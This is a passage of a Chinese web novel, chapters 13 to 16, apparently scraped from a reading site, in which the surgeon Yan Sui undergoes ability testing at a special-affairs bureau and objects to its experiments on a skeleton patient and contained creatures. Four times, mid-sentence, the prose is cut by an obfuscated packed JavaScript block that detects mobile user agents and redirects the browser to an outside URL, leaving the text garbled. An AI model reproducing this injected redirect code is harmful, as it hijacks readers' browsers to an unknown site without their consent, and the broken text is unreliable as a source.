他指了指那个绷带球,平静地继续说:“手术已经完成,尽量别让它动弹,其余的你们该怎么处理就怎么处理吧。” 说完,晏绥将手术床交给裴野望。 裴野望却没走,他若有所思地看着晏绥,问道:“刚刚发生什么了?” 晏绥摩挲了一下手指,想了想还是问道:“这个急诊科,是不是有什么幕后意志之类的存在?” 裴野望神色微凝:“你发现什么了?” 晏绥:“我感觉到了一道视线。” “视线……” 裴野望拧了拧眉,说:“目前我们只知道急诊科背后确实有东西,但还不能确认是什么。后续我们会注意,你自己也要小心。” 既然没有线索,晏绥也就不再多想,反正该出来的迟早会冒出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068323|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴野望推着手术床走了,他则转身回了手术室里,继续收拾他的材料。 他将装了深紫色晶体的铁罐封住盖子小心放好,随后像个屠夫一样在那堆残留血肉里挑挑拣拣,将一些内脏挖出来单独存放,血肉归拢起来分别装在桶里。 这些可都是他的“手术费”。 血肉怪物异变前的原身应该不强,但血肉内蕴含着一些机体重塑、细胞活化之类的奇异力量,想办法处理提炼一番后说不定可以作为医用药物。 切割到一半的时候,隐隐“咔”的一声在晏绥脑海中炸响。 他心里一惊,迅速抬起手术刀,小心翼翼地查看。 虽然手术刀看着没什么太大的变化,但晏绥能感觉到手术刀内隐约愈合的一丝又裂开了,再次摇摇欲坠、濒临散架。 幸好幸好,没真的碎了。 晏绥心有戚戚,收起手术刀换上精度和手感都差上许多的匕首。 他的手术刀必须尽快开始修复了,还有其他手术器械和监测仪器也必须想办法弄出适用的。 虫子兄的材料也已经被特处局带走了,接下来他得看看其他病人的“手术费”里有没有适合的。 …… 收拾完手术室,再给待在安全舱内修养的苏婉送了水和药以后,后半夜再也无事发生。 当清晨的第一缕阳光洒进三楼病房的窗口时,病床上毫无动静的人形无纺布突然动了一下。 咯咯哒哒的碰撞声和略微牙酸的摩擦声响起,布下的人形动弹了起来,扑腾着掀开了那层无纺布。 从病床上爬起来的身影探出头来茫然四看,借着窗外模糊的光看清自己的手和身体的瞬间,猛地僵住了。 他不可置信又不堪重负般颤抖起来,抖得整个身体都摇摇欲坠,仿佛下一秒即将散架。 “咔哒”一声,病房门被扭开,一个穿着白大褂的俊秀青年拿着记录板和笔走进来看了一眼,低头写写画画:“醒了?有什么不舒服的地方吗?” 对方的语气和态度太过自然,病床上的“人”迷茫了片刻,甚至开始怀疑自己这幅模样是否真的再正常不过。 但很快,他开始激动地挥舞手臂,“嘎达嘎达”地张合着下颚,姿态诡异狂乱。 晏绥头也不抬,一边写一边说:“虽然你现在没有声带,但理论上是可以说话的。来,试着从最简单的音节开始发声,啊——” 病床上的“人”滑稽地张大嘴,无声地“看”着晏绥,也不知道是真的在尝试发声还是宕机了。 “嗯?”晏绥有些疑惑地抬起头,走上前观察病床上的“人”,甚至抬手掰过他的脑袋仔细打量:“没道理啊……难道脑子烧干了会变成智障?” 窗外的天越来越明亮,映照出晏绥手里的“脑袋”。 那分明是颗脑壳光滑圆润的骷髅头! 除此之外,病床上的“人”暴露出来的是一截截白骨组成的手臂,身躯也只有空荡荡的肋骨和脊椎……完全就是一具毫无血肉残留的骷髅架子。 发现骷髅又有挣扎的迹象,晏绥强硬地掰过骷髅的脑袋,盯着他黑洞洞的眼眶,语气严肃地问:“回答我,这是几?” 骷髅头盯着竖在眼眶前的一根纤长手指,下颚颤抖着,声音仿佛从灵魂深处咆哮而出:“滚——!” 14. 第 14 章 好在很快有人来“解救”他。 熟悉的“哐”一声,熟悉的灰黑战训服们再一次飞快地涌入了病房里。 晏绥一回头,又对上了熟悉的枪口。 他识相地再一次举起双手。 病床上的骷髅架子也抖了一下,下意识地跟着举起自己两条骨头手臂。 战员们:“……” 气氛似乎为这诡异的场面僵滞了一瞬,片刻后,为首的战员沉声开口说:“请立刻远离这个不明危险物。” 不明危险物? 晏绥愣了一下,一回头,对上了骷髅空洞的眼眶。 骷髅也怔怔地仰头看着他,下颚微微张开。 为首的战员眉头狠狠一皱:“再说一遍,立刻……” 他话还没说完,晏绥已经飞快地举着双手闪身后退,听话地贴着墙站好,一副这骷髅是谁我不认识的模样。 战员们:“……” 他们也没再多话,一群人迅速围上病床,将那个骷髅架子塞进病房外一个厚重严实,没有丝毫缝隙的黑色大铁箱里。 骷髅架子全程低着头,没有丝毫反抗,任由战员们摆布。 “那个……” 战员回头,发现白大褂青年不知什么时候又跟了过来,站在病房门口。 晏绥双手插兜,静静地望着他们,说:“他不是不明危险物,他是徐青山。” 战员们无言地看了晏绥一眼,一挥手,带着大铁箱风风火火的走了。 门前只留下刚刚开口的为首之人,对晏绥说:“请晏先生随我们前往总部进行特异能力测试。” 晏绥一听,连连摆手道:“什么特异能力?我只是个普通人。” 战员头领沉默片刻,想起裴野望嘱咐过的话。 他表情僵硬地开口说:“晏先生的能力测试备案过后,可以享受国家特殊人才补贴,优先享用研究院研发的新产品,还可以为你的需求量身定制武器装备。如果配合完成特处局的任务还有额外奖励……” “等等。” 晏绥打断了战员头领的捧读,盯着他若有所思地问道:“你口中拥有特异能力的特殊人才……很多吗?” 战员头领愣了愣,说:“也不是很多……毕竟是稀有人才。” 晏绥追问:“有多少?” 战员头领含糊道:“全国大概也有个十几万人吧。” “十几万……”晏绥垂眸轻声重复一声,眼睛亮亮地抬头微笑:“那我们走吧。” …… 特处局大院占地面积广阔,高大主楼的玻璃外墙在阳光下反射着刺眼的白光,两侧和后方都有高矮不一的楼栋。 特处局的黑色改装车经过门卡查验后,驶向主楼侧后方的“研究与收容中心”。 一踏入玻璃自动门内,晏绥第一个反应是人好多。 许多人熙熙攘攘地聚集在宽敞明亮的大厅里,在晏绥一行人进来的瞬间,所有人目光炯炯地齐齐地看了过来。 晏绥:“?” 这炽热的,想把他活剥了的眼神是怎么回事? “这位就是晏医生吧?实在是太感谢了,我们特处局正需要你这样的人才!” 为首一个穿着Polo衫西装裤的中年男人快步走来,带着身后许多人簇拥而来,朗声笑着双手抓起晏绥的手用力一握,以表肯定。 与昨天在特处局相比一个天一个地的待遇让晏绥受宠若惊地:“?” 中年男人满面红光地从下属手里接过一面红彤彤的锦旗塞进晏绥手里,然后脚步一转,站到晏绥身边露出一个微笑。 旋即,迎面一片“咔嚓咔嚓”的闪光灯差点亮瞎晏绥的眼睛。 拍完以后,这位显然是领导的中年男人正常了很多,感叹道:“我都听说了,小陈几个也是好运气。多亏了晏医生啊,今后我们的战员们终于有了一丝回转的余地……咳,不说这个了,上次的奖励金已经批完,估计很快就会到账,恭喜晏医生。” 晏绥脸上的笑容真切了不少:“感谢领导关心。” 领导认真地说:“还有,晏医生现在是我们特处局最顶级的特殊人才之一,我们也会给你最顶级的待遇,相关流程应该也快批完了,有什么问题你可以直接问你们裴大。” 晏绥:“!” 这时,刚好“叮咚”一声,他掏出手机一看,发现正是银行的短信。 短信上的到账金额让他不由小小地吸了口气。 比他上次得到的手术费还翻了两倍! 领导拍拍他的肩膀,“以后还有很多交流的机会,就先不打扰你去测试。小赵,待会负责测试的是谁?一定不能怠慢了晏医生。” “都已经安排好了。”战员头领立正行礼,回道。 吩咐完,那位领导终于带着下属们离开了。 晏绥这才有空瞄一眼手里的锦旗,只见上面印着八个烫金大字“神医再世”、“妙手回春”。 刚完成规培没多久,才正式上班两天的晏绥眨了眨眼:“……” 他感觉他都不需要翅膀,直接就能原地上天了。 仅仅两天,从被房东赶出门,吃饭都困难的落魄到存款六位数的从容…… 这也太快了吧。 还没从有些飘忽的感觉中回过神来,晏绥又被围住了。 他一抬头,赫然对上了无数亮晶晶的眼神。 “你那个手术是怎么做到的?按理说……” “简直刷新了我们对于危险物的认知,这是否说明……” “我们这里还有相关的案例,我们也可以提供奖励金,能不能……” 各种热情又急迫的询问声铺天盖地地砸来,乱七八糟地混在一起,根本听不清他们在说什么。 被围在中间的晏绥只觉得自己脑瓜子嗡嗡的,被人群挤着,根本分不清东南西北。 这时,一直沉默的战员头领拦在晏绥身前,气沉丹田,暴喝出声:“异能检测组的宋泰!” 众人一静,就见人群后一只手伸了出来,急急应道:“这里这里,我在这!” 好不容易挤进人群中心,和其他人一样穿着白大褂的年轻小伙擦了擦汗,小跑上前。 确认对方的身份后,战员头领利落地对他们行了个礼,才转身大步出门,示意战员们将载着大黑铁箱的运输车开入另一侧的专用入口,运往地下。 宋泰主动引着晏绥往电梯边走,却发现他站着没动。 晏绥心想着,既然特处局的态度这么好,那是不是趁机能要回点剖出来的材料? 还有那颗晶体,能不能也要回来研究研究? 他跟宋泰说:“之前那些手术取下的东西……” 突然,一阵巨大的轰鸣声突然从门外传来。 众人齐齐回头,就见战员头领带着一群带着头盔、荷枪实弹的战员守在专用入口两侧,随后一辆黑色的装甲车在轰鸣声中驶来,在战员们的护卫下又轰隆隆地驶入专用入口。 宋泰脸色登时一变,拉着晏绥的手臂连连后退。 不仅他们,连所有白大褂似乎意识到什么,也纷纷仓皇后撤,甚至有些人扭头就直往楼梯和电梯冲去。 直到墙体彻底遮住视线里的那辆装甲车,宋泰才松了口气,小声地和晏绥说:“这是我们中心防护级别最高的押运车,里面都是很危险的东西,以后晏先生看到了就尽可能躲远点。” 晏绥好奇地问道:“这是在运什么?” 宋泰:“就是那枚异化污染力量的结晶啊。” ……异化污染力量? 晏绥有些迟疑地开口:“这么大阵仗?” 那颗能量凝聚的晶石,在这些人眼里是什么东西? “哦,晏先生可能不知道。” 宋泰压低的声音里难掩惊恐:“我也说不太清楚,大概就是那种绝对不能碰,碰了就完蛋的东西。它甚至比混蒙界那些会让人发疯堕化的不可名状还要可怕,所有和它扯上关系的存在后果都是极其悲惨,甚至还会害得周围所有被卷入的生物同样凄惨。” 说着说着,他脸色变得有些难看:“曾经有个信奉这种力量的邪教团,秘密召集了一百个人举行仪式,企图召唤这股力量,结果害得他们自己连同整个小镇的活物都……那可是五万多的人口啊。” 晏绥捏紧了指腹,望着专用入口处沉默不语。 像是兜头一盆冷水,将他心底刚刚升起的兴奋和雀跃被彻底浇灭。 说完,宋泰想起了什么:“对了,刚刚晏先生想说什么?” 晏绥面上看不出一丝波动,闻言只是牵起嘴角笑了一下:“没什么,我们走吧。” …… 经过一系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068324|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列的检测后,晏绥扯了扯衣领,吐了口气。 也不知道是因为研究员们像是看小白鼠的狂热眼神,还是那些在身上探测的冰冷仪器的原因,令怀揣着秘密的他隐约感到不适。 像是心脏上始终勒着丝线,细细地拉扯着,始终让人无法放松。 终于完成前期的检测工作后,晏绥沉心定神,跟着宋泰坐电梯一路下行,终于踏进地下的收容区域。 这栋研究中心地上建筑看着不算显眼,地下空间却极其广阔。 宋泰带着晏绥穿过长长的银白色走廊,越过一个又一个挂着编号数字的房门,介绍道:“前面收容的是A23541,灵知。特异能力的评定就是靠灵知来协助判断。” 说着,宋泰把走廊尽头前的大铁门打开,森冷的寒气倾泻而出。 门后是一个屋顶极高的房间,正对面的墙上竖立着一个仿若铁质棺材的巨型仪器,无数管道从四面八方连接到仪器侧边上,而在磨砂质感的“棺材”上,有一个仿若眼睛般的摄像头。 在晏绥走进房门的瞬间,那个摄像头一转,迅速锁定了晏绥。 晏绥被侧边玻璃幕墙外观察室内的宋泰引导着,站在房间中心描绘了奇怪符文的圆阵中,抬头凝望着眼前这个巨大的“棺材”。 透过能量、波段和粒子等等难以言喻的构成,他透过厚重铁板,隐约“看”到了其下的人形。 很快,有研究员捏起在操作台上的麦克风,开口说:“测试准备开始,开启闸口。” 话音一落,一道轻微的机械运转声后,一片白气从“棺材”侧边打开的缝隙中蔓延而出。 随后,无数漆黑的,在尖端带着一点微弱暖黄色光芒,仿若发丝的细长之物从缝隙中如水般滑出,轻轻舞动着,朝着晏绥包围而来。 场面十足的诡异。 晏绥猛地后退一步,就听到广播里再次传来研究员的声音:“这些只是灵知的触觉,它们不会伤害你的。” 晏绥只能硬生生地停下脚步,任由这些“光点”和漆黑的细长之物将自己彻底包裹起来。 终于,第一个“光点”轻轻触及到了他的脸颊。 于此同时,玻璃幕墙外的各个屏幕上的各项数据开始波动起伏。 一道轻微的女声吟唱声在耳边突兀响起。 晏绥只觉脑中一清,像是突破了什么阻隔,与某种存在连接在一起,眼前层层包裹而来的光点和细长之物消失了,取而代之的是一片边际线模糊,几乎融为一体的昏蓝色天空和大海。 一个少女背对晏绥,斜斜靠坐在海面凸起的礁石上,漆黑浓密的长发及至脚踝,正仰着头哼唱着不知名的曲调。 微风和煦,碧波微澜,合着海浪的歌声轻盈缥缈,舒适得让人昏昏欲睡。 这是……这位“灵知”小姐的意识空间? 晏绥有些茫然地一眨眼,眼前天地骤变。 天边滚滚乌云翻涌而来,靠在礁石上的少女突然一抖,痉挛似地全身抽动起来。 乌云在天空旋转着,缓缓形成一个倒立的漩涡。 无数残破建筑和内脏残肢像是下雨一样从乌云漩涡中跌落,轰隆隆砸进昏蓝色的大海里,晕出一片浓郁的暗色。 少女原本优美的吟唱骤然变调,在仿佛尖叫一般的哀鸣中变成刺耳的杂乱音调,混杂着呻吟惨嚎声狠狠刮着耳膜。 这杂乱的曲调实在太过难听,晏绥难以忍受地试图捂住耳朵,却发现声音是直接在他脑海中响起的。 “不要……毁灭……无序……主宰即将苏醒……不,不要——!” “不好!灵知的污染值突破阈值了!” 玻璃幕墙外的观察室里,研究员们慌乱地四处奔忙着,红色的警报声不断闪烁着,刺耳的警报声“嘀嘀”直响。 大量漆黑的细长之物在房间里狂乱地翻涌着,而位于房间中央的人影,已经彻底被裹成一个黑色的大茧。 宋泰焦急地喊道:“还有人在里面,快救人!” 下一秒,礁石上的少女的脑袋猛地往后翻折出一个可怖的角度,直愣愣地望向晏绥。 那张脸糊满鲜血,无数漆黑的发丝从她的眼耳口鼻中飙射而出,在半空中如长蛇般扭曲盘旋。 那张吐出无数发丝的嘴巴还在蠕动着,无声地吐出两个字。 ——救我。 15. 第 15 章 晏绥只听仿若天外传来“咔嚓”一声,天地骤然一片漆黑,只剩暗淡失色的无数光点。 一条手臂从后而来,一把挥落贴在晏绥脸上的细丝,同时将他整个人往后用力一拽。 晏绥随着强大的力道踉跄着不断后退,他忍不住打了个喷嚏,又抬手抹了一把脸,才发现刚刚已经有不少细丝钻入他的耳道和鼻腔,还有不少在试图往他紧闭的双眼和嘴巴里钻。 手臂主人将他扯出散落的黑茧,眼前骤然明亮,露出闪烁着刺眼红光的房间。 从“棺材”内蔓延而出的细丝被“棺材”齐齐切断,闸口封闭,它们便如普通发丝一般散落一地。 与此同时,那个厚重的“棺材门”震颤着,随着从内而外传出的“轰轰”声,逐渐鼓起变形,裂开漆黑的缝隙。 眼看着内里之物就要挣脱而出,数道尖锐的金属臂探针从四面八方伸出,顺着“棺材”预留的孔洞利落地扎入。 随着略带沉闷的利器刺入肉/体的声音,淡绿色的液体不断注入其中。 某种在精神层面上响起的尖叫撕心裂肺,在液体注入时痛苦地哀嚎…… 沉重的闸门轰然落下,彻底遮盖住晏绥发怔的视线。 玻璃幕墙也被闸门遮挡隔绝,彻底将整个房间封锁在铜墙铁壁之内。 直到堪堪站定,晏绥的脸就被人捏住用力掰过来,一下对上了裴野望沉冷的视线。 晏绥的眼睛瞪得圆溜溜的,配着被捏得嘟起来的嘴,一时竟显得有些傻气。 裴野望紧皱的眉头松了松,将晏绥身上剩余的凌乱细丝扯下,然后反手一推,将他推向团团围上来的研究员们。 一个有些熟悉的仪器怼到了晏绥的额间。 只听“嘀”一声,屏幕上亮起明亮的绿色。 研究员们一愣,随后爆出一阵哗然。 “他的精神值居然没受影响!” “天呐,又一个高抵抗的人出现了……” 很快,他们又重新围上来,焦急地看向晏绥:“灵知怎么突然暴动?你刚刚看到什么了吗?” 晏绥沉默片刻,在这么多殷殷注视的眼睛和记录设备面前,谨慎地描述了一下刚刚的所见所闻。 研究员们的脸色随着晏绥的话音连连变化,最后凝在了苍白上。 裴野望在一旁弯下腰,在观察室内电脑屏幕上看了片刻,见晏绥停下了讲述,便转身上前两步拨开人群将人拉出来,说:“行了,给他登记一下,人我就先带走了。” 宋泰一愣:“可是检测没有完成,后面也还有很多其他测试……唉?裴,裴大?等等,先别走啊!” 裴野望和晏绥两人的腿都很长,迈开步子大步往前走时,一下就把宋泰等一众研究员给甩在身后。 宋泰颇懊恼地抓了抓头发,但终究不敢强行将两人叫回,只能沮丧地和一众研究员一起回头整理仅有的数据。 结果刚一看屏幕,宋泰顿时倒吸一口冷气。 观察室里实时记录着收容室内和灵知的数据,即便灵知暴动导致异能检测半途停止,但仪器依旧忠实地记录下了检测到的一切。 在灵知崩溃暴动前夕,来自晏绥眼部的“灵性”数值几乎飙升到了“灵知”历史监测值的顶峰。 目瞪口呆了片刻,宋泰马上拨通内线电话,抖着嗓音说:“报,报告,这里是异能检测组,刚刚检测到疑似S级别的‘灵性’……还没复核,具体能力表现未知,现在人已经被裴大带走了。” 挂了电话后,宋泰呆愣了片刻,抑制不住地感到手脚发软,兴奋又恐惧。 这么强大的力量,显现出的能力一定非常厉害。 ……一旦堕化成怪物,也一定非常恐怖。 …… 两人无言地走到电梯里,裴野望看了沉默的晏绥一眼,笑问道:“怎么,被吓坏了?” “没有。”晏绥老实地摇头,顿了片刻又开口问道:“刚刚那是……” 裴野望轻笑一声:“灵知能看到很多东西,甚至能一定程度地预知未来,但这种能力太危险,一个不慎就会引发疯狂和暴动。只能说你这次正好撞上了。” 晏绥目光微敛。 这么说,刚刚的异状只是一种“正常”现象? 那“灵知”为什么要求救?只是因为忍受不了痛苦吗? 晏绥安静地跟着裴野望走出电梯,看着地面的眼神却有些虚焦。 突然,晏绥一脚踩入一道阴影里,他猛地回神急刹车,发现自己差点撞到了裴野望的身上。 裴野望挑眉看着他:“真的被吓坏了?” 晏绥避开了裴野望的目光,扭头环视眼前陌生的地方:“这是?” 眼前是一个巨大的,类似“灵知”观察室的房间内,几个白大褂正埋头在仪器前忙碌,而在巨大的透明玻璃后,是一团看着有些熟悉的血肉。 裴野望开口说:“这是昨晚那位‘病人’,它的各项特征符合C级危险物食肉污泥,但是它的样子看起来有些奇怪。” 说话间,一个白大褂在操控台上一顿操作,只见玻璃后一根长长的金属探针从墙上落下,利落地刺入血肉污泥之中。 下一刻,白大褂按下按钮,那团血肉顿时像是过电一样震颤起来,几乎抖成了血红的刺猬。 大概过了十多秒,金属探针才重新抬起,而那食肉污泥缓缓停止颤动,摇摇晃晃地安静待在原地。 裴野望再次开口:“食肉污泥惧怕雷电,可是无论我们用多少瓦数的电击,它都没什么反应,这简直违背它的特性。” 接下来白大褂又用了各种更激烈的手段刺激食肉污泥,血肉飞溅之间,场面多少有点血腥惊悚。 而食肉污泥始终静立原地,无论是被烈火灼烧、被刀砍成两截,还是被巨石压扁成薄薄的一滩,它都只是慢吞吞地重新恢复成原样。 裴野望随意地问道:“怎么样,能看到什么吗?” 晏绥大脑的神经瞬间绷紧。 他反问:“看到什么?” 裴野望:“你不是能通过视觉‘看’到它们体内的病灶所在吗?那现在这个食肉污泥在你眼里是怎样的?” 晏绥定定地看着被反复折磨的食肉污泥片刻,缓缓开口:“它体内的能量在飞快消耗,它快死了。” “是吗。”裴野望不置可否,研究员们的动作也没有停下。 他抱着双臂,转而问道:“我看见你从食肉污泥里切出了一个长条状的东西,那是什么?会和它现在的状况有关吗?” 晏绥慢吞吞地说:“我不太了解你们那些东西,我只能感觉到那条长虫应该是个寄生物,昨晚食肉污泥的部分表现就是因为它的影响。” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068325|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野望眉头拧了拧,不再说话,只沉默地看着玻璃后的“实验”。 他们都知道那个寄生物拿去干嘛了,这条路已经被堵死。 又过了一阵,食肉污泥的恢复的速度越来越慢。 晏绥看了许久,缓缓地吸气,再吐气。 终于,他还是在食肉污泥被切成许多小块后忍不住开口:“这到底是在做什么?” 裴野望还在盯着屏幕上的各项数据思索,随口解释道:“这是必要流程,它的表现很反常,我们得一一尝试各种可能性,才能知道它现在会对什么东西起反应。” 晏绥语气硬邦邦地回道:“这只是毫无意义的折磨。” 整个观察室一静。 裴野望一顿,转头看向他。 就连原本在操控台上操作的研究员们也忍不住偷偷回头看来。 沉默之中,晏绥后知后觉地发现自己刚刚的反应好像有点过激。 这团血肉本就吃了很多活生生的人,作为受害者阵营,他似乎不该有这样的反应。为一个食人的危险物说什么人道之类的东西,太过荒谬了。 “我是说,”他马上开口找补道:“这样的穷举效率太低了,万一它撑不到实验出成果的时候呢?” 裴野望盯着晏绥,缓缓开口:“你……” 突然,玻璃后一直毫无反应的那团血肉骚动起来。 它在所有人毫无预料的情况下骤然飞弹而起,“啪”地整个糊在了观察室的玻璃上。 观察室内的研究员被吓了一大跳,手忙脚乱地用机械臂将它从玻璃扯下来。 食肉污泥却不依不饶地试图扒在玻璃上,即便机械臂将它的身体拉成长长的几条,都不肯放弃。 但它根本无法抗衡巨大的机械臂,直到被彻底扯下来,丢回实验台上,淡绿色的针筒迅速下探,强硬地刺入食肉污泥的身体,将液体注入食肉污泥的体内。 食肉污泥在试验台上颤抖挣扎着,终究是慢慢软倒,瘫成一片。 “你怎么把双向透视打开了?吓我一跳……” “对不起对不起,不小心碰到了。” 但很快,研究员们就被食肉污泥突如其来的反应振奋到了。 “相关数据记录下来了吗?马上推测刚刚所有可能的反应源!” “难道是吃过人后对人依旧有反应?调整实验计划,按照这个思路继续……” 裴野望见观察室内恢复有条不紊,调笑道:“看来还是得晏医生出马,一下就帮我们试出了。” 晏绥喉头微动,迅速咽下所有的情绪,若无其事地对裴野望扯起一个微笑:“要不干脆把研究员的工资也给我好了。” 裴野望不由笑出了声,懒洋洋地回道:“少不了你的,我们走吧。” 晏绥沉默地跟着他转身离开,踏出观察室刚经过另一侧半掩着的门时,他目光随意地往里一瞥,脚步瞬间定住了。 门内是相似的观察室,但是玻璃后的被观察者是一个熟悉的骷髅架子,数条蓝色的束缚带将他牢牢捆在躺椅上,动弹不得。 几个研究员在玻璃后围着骷髅架子,操控着机器,数个大钻头“滋滋”地直往他的脑壳上往里钻。 钻头与骨头接触,火星与粉尘四溅,仿佛要撬开脑壳看看里面是什么东西 晏绥脑中的神经“啪”地彻底崩断。 16. 第 16 章 晏绥的全身的血液仿佛沉入地底,又瞬间翻滚着轰轰冲入大脑之中。 被擅自拿走的材料和能量晶体、被捆在躺椅上破开头骨的徐青山、在“棺材”里痛苦地向他求救的灵知、被反复折磨的食肉污泥,还有无数冰冷的枪口和飘落的死刑决定书…… 这一切的一切都仿佛打翻的调色盘,在晏绥的脑中混成一团乱七八糟,色泽迷乱的颜料色块,流遍他的全身,又倒涌回他的大脑,在他脑海中拉响了一声长过一声的警报,尖锐地嘶吼着危险危险危险。 但……那又怎么样? 晏绥闭了闭眼,复又睁开,嘴角扬起一个略带讥诮的弧度。 “这算什么?”他的嗓音轻缓而飘忽,问着折返站在身边的裴野望:“你坚持救回他,就为了这样对他?” 裴野望探头看了一眼,神情不变:“这应该是在做一些检测采样,我们也是第一次碰见这种情况,需要确定他的污染程度和异变情况……” “然后他就会被永远关在这里,对吗?”晏绥喉间闷闷地笑起来,开口说:“就像那位‘灵知’一样。” 他眼尾一挑,状似好奇地问:“他的编号是多少?你们打算给他起什么新名字?‘骷髅’还是‘活死人’?” 空气骤然安静下来。 晏绥语气看似单纯无害,其中的尖锐却锋芒毕露。 裴野望看着晏绥,平静地说:“这里没你想的那么霸道和不通情理,如‘灵知’一样不可控的,有效的收容对我们对她都好。但其他危害性小,对人类友好的……我们当然会友善对待。” “友善?是关在实验室里任由处置的对人友好?还是像裴大这样戴上一个项圈来证明自己的可控?” 晏绥仰起头,笑着用手指在自己细白的脖子上比划了一下,然后抬起手,探向裴野望脖子那条黑色项圈上的“精神值波动检测仪”。 这块小小的检测仪在裴野望的脖颈上招摇过市,谁都可以在看见他的同时清晰看见这块屏幕,就像是圈在烈性犬脖子上的狗绳,也不知道安慰了谁的神经。 “啪”地一下,裴野望如铁钳一般稳稳的抓住了晏绥略显冒犯的手,不得寸进。 裴野望冷眼看着他,黑眸里的情绪就如同脖子屏幕上沉稳的绿色一般,不见丝毫波动。 晏绥也不慌,只望着裴野望笑出了两个浅浅的酒窝:“请问裴大,徐青山可控吗?是否对人类友好?” 裴野望垂眸看着他片刻,突然轻笑一声,抓着晏绥的手腕推开观察室的门,将人直接拉了进去。 晏绥猝不及防,猛地被拉了一个踉跄。 他被迫跟随着裴野望往里走了几步,然后迅速反应过来,手腕一拧,就像滑溜的鱼一样挣脱了裴野望的手。 他微微用力握着自己虚拢的右手,低声问道:“你想干什么?” 观察室里并没有人,灯光很暗,监测仪器也都关闭着,仅有的光源就是玻璃后的实验室。 昏暗之中,裴野望抱起双臂,望着玻璃墙内闲适地说:“进来看,看得更清楚明白些。” 晏绥目光锁定在裴野望身上:“我看清楚了,然后呢?” 裴野望笑意盈盈地望来,问道:“那晏医生怎么认为?他可控吗?” “……” 晏绥嗖地收回视线,望向玻璃里的徐青山,嘴角讥诮的弧度加深:“我说了,你们听吗?” “当然听,毕竟晏医生可太权威了。” 裴野望的脸庞隐在黑暗之中,唯有一双漆黑的眼亮如寒星。 他的嗓音缓慢又清晰,“导致食肉污泥异变的污染力量,也就是那颗晶体,你很熟悉对吗?” 晏绥眼皮重重一跳,“你说……什么?” 裴野望随意地倚在玻璃上,直勾勾地盯着晏绥:“因为它在你曾经待过的地方,也就是那个突兀出现又突兀崩溃的副本世界里无处不在。而你的手术刀和能力,也都是从那里得到的吧?” 试图掩藏的东西被撕开展露于空气中,晏绥垂在身侧的手骤然蜷缩起来。 他站在玻璃前许久,感觉身体里的五脏六腑像是绞成了一团,又散落一地,身躯里空空荡荡。 在这个瞬间,他恍惚觉得自己仿佛被捆在躺椅,顶着天花板刺眼的灯光,眼睁睁看着飞速旋转的钻头朝着自己落下…… 裴野望敲了敲玻璃,一下惊醒了晏绥:“你自己看,他们是怎么对待徐青山的。” “……” 晏绥沉默地望着玻璃后的徐青山,看着研究员很快就停下了钻头,一边询问着徐青山的感觉一边小心地收集起散落的头骨粉末,然后用其他材料细细的给徐青山磨掉一点的头骨重新填平。 又看着研究员们和徐青山交谈着解开束缚带放他下来,看着徐青山摸着自己被填补过的骷髅脑袋,自如地自己跟着研究员走出实验室。 裴野望:“眼见为实,你还有什么想说的?” 晏绥闭了闭眼,喉头滑动了一下。 裴野望也没想将晏绥逼得太死,他看向被带离的骷髅架子,语气缓和地开口:“徐青山已经没办法像个正常人一样生活了,将未知研究清楚才能更好地保护他和维护他的权益。当然,等研究结束后,我们会综合考量他的愿望和需求,将他妥善安顿……” “我失忆了。” 晏绥突然开口,打断了裴野望。 裴野望的话音卡在喉咙里,诧异地转头。 恰在此时,玻璃后的房间“咔哒”一声关了灯,漆黑的玻璃上倒映出了两人的身影。 裴野望看着晏绥,晏绥看着玻璃上映出的自己。 晏绥终于摘下了那层略显浮夸的乖巧面具,但也并不显低沉抑郁,只平静地继续说:“现实世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068326|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只过了很短的时间,但我隐约记得我在副本世界里待了三年,再回过神来就已经回到了这里。但我只有刚进副本世界后几个月的记忆,往后两年多发生了什么,我什么都不记得了。” 他微微侧头,看向裴野望在玻璃上倒映的身影,微笑道:“我能感觉到,我忘记了一些很重要的事情。或许我就是一个异化污染力量的移动污染源,或许我早已异化成了一个披着人皮怪物……你们要把我关起来吗?” 